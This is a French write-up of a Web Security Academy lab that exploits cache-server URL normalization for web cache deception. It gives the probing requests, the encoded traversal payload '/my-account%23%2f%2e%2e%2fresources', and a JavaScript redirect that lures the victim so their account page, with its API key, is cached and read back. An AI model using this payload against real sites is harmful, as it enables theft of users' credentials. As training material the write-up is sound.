Tromper le cache via la normalisation côté serveur de cache

Exploiting cache server normalization for web cache deception

Lab: Exploiting cache server normalization for web cache deception | Web Security AcademyWebSecAcademy

Objectif du lab

Récupérer la clé API de l’utilisateur carlos en abusant d’un comportement de normalisation d’URL (différence d’interprétation entre l’application et le serveur de cache). Connexion disponible : wiener:peter.

Web cache deception lab delimiter list | Web Security AcademyWebSecAcademy

Observation initiale

On teste des suffixes “statiques” pour déclencher une mise en cache :

• Requête de test :

GET /my-account~test.js

On constate des réponses différentes selon certains caractères, et le serveur “accepte” notamment :

• #

• ?

• %23 (URL-encoding de #)

• %3f (URL-encoding de ?)

Endpoint intéressant aussi mis en cache

Le répertoire des ressources semble également cacheable :

GET /resources/ HTTP/2

C’est utile car on va essayer de faire pointer le cache vers /resources tout en gardant une route interprétée côté appli comme /my-account.

Technique : fragment + traversal (avec normalisation)

On construit une URL où l’application continue de traiter /my-account, mais où le cache normalise/interprète la suite pour aboutir à /resources.

Tests :

GET /my-account#/../resources 
# Version encodée (celle qui “passe” le mieux ici)
GET /my-account%23%2f%2e%2e%2fresources

Le point clé : le serveur de cache apprécie la version URL-encodée, ce qui permet de déclencher le comportement attendu.

Exploitation : forcer la victime à mettre en cache la page

Depuis l’exploit server, on redirige la victime vers l’URL piégée :

<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>

Résultat

Une fois la victime passée par cette URL, on récupère ensuite la ressource servie depuis le cache et on obtient la clé API de carlos, ce qui valide le lab.